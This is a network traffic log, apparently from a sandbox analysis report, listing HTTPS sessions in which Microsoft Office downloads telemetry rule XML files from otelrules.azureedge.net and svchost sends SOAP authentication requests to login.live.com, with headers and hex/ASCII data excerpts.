Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	54569	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:37 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:37 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:37 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 3caab57d-601e-005c-6cd2-2cf06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052337Z-16547b76f7f7rtshhC1DFWrtqn0000000f7000000000a2ym x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:37 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	54571	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:37 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:37 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:37 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 43524f19-601e-003e-07d2-2c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052337Z-16547b76f7f7jnp2hC1DFWfc300000000fb00000000004m6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:37 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	54572	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:37 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:37 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:37 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: e37edb83-201e-0003-04a0-34f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052337Z-17df447cdb56j5xmhC1DFWn9180000000bpg000000006r1k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:37 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	54581	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:38 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:38 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:38 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 8f98044c-301e-006e-14bd-2cf018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052338Z-16547b76f7fwvr5dhC1DFW2c940000000f0g00000000g7cc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:38 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	54582	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:38 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:38 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:38 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 4d49a3e8-001e-008d-0aa5-34d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052338Z-15869dbbcc6rzfwxhC1DFWrkb00000000aq0000000008z5b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:38 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	54584	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:38 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:38 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:38 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: c860c668-d01e-007a-07a3-34f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052338Z-17df447cdb59mt7dhC1DFWqpg40000000bh000000000a1pp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:38 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	54583	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:38 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:38 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:38 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 3018d77d-101e-008d-49d2-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052338Z-16547b76f7fp46ndhC1DFW66zg0000000f90000000005dfk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 05:23:38 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	54585	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:38 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 05:23:38 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 05:23:38 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: ce92c93d-101e-008e-6ea0-34cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T052338Z-15869dbbcc6tjwwhhC1DFWn22800000008n0000000003v6f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 05:23:38 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	54579	40.126.31.69	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:38 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-12 05:23:38 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-12 05:23:39 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 12 Nov 2024 05:22:38 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: 8df22b35-227c-4b82-80ab-0123a269e6eb PPServer: PPV: 30 H: PH1PEPF00011EBE V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 12 Nov 2024 05:23:39 GMT Connection: close Content-Length: 1918
2024-11-12 05:23:39 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	54580	40.126.31.69	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 05:23:38 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-12 05:23:38 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-12 05:23:39 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 12 Nov 2024 05:22:38 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C530_BAY x-ms-request-id: 5f73a0a9-cf7d-4360-a243-77e859769719 PPServer: PPV: 30 H: PH1PEPF00011F72 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 12 Nov 2024 05:23:38 GMT Connection: close Content-Length: 11412
2024-11-12 05:23:39 UTC	11412	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	54590	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
